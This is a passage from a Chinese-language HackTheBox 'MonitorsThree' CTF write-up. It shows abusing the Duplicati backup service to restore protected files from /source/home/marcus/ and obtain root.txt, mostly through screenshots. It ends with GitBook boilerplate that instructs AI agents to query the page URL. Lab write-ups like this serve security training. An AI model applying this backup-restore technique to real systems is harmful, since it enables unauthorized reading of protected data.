<figure><img src="/files/73b9d569dd783d3093b544677c93aae0e6461e0a" alt=""><figcaption></figcaption></figure>

* 运行 **保存** 以恢复目标文件。

<figure><img src="/files/dcc579b7be9937c6d52838a7601f6697a99c858d" alt=""><figcaption></figcaption></figure>

### 提取已保存文件

执行 **backup**后，会生成三个 ZIP 压缩包。

<div data-full-width="true"><figure><img src="/files/ee73967d54bd27586b3d456830fddfcbb58fe489" alt=""><figcaption></figcaption></figure></div>

* **访问文件**
  * 由于访问限制，直接打开文件的尝试失败。
  * 但是，通过 **Duplicati**，我们使用 **恢复文件** 选项来恢复内容。

<figure><img src="/files/f300def1e749da1da8cb588fadba8376a55145f3" alt=""><figcaption></figcaption></figure>

**恢复并外传**

* 从备份中提取文件。

<figure><img src="/files/1318e9196234ac6b9d37c623948b171df3e33e68" alt=""><figcaption></figcaption></figure>

文件夹选择 **`/source/home/marcus/`** 作为恢复源。

<figure><img src="/files/704d3ee9a54afd691c569349f6033cf8c3d59f9b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/abcd814e94c774b0ef44db125a38868d47aa0e0a" alt="" width="563"><figcaption></figcaption></figure>

### root.txt flag :)

恢复后，我们浏览这些文件并发现 **`root.txt`**!

<figure><img src="/files/a671ca1065efdba4f60e2cbbf9cc109eaa65e831" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/791c5eabee73ab1f5a257d9024b6f1eba0dbd482" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
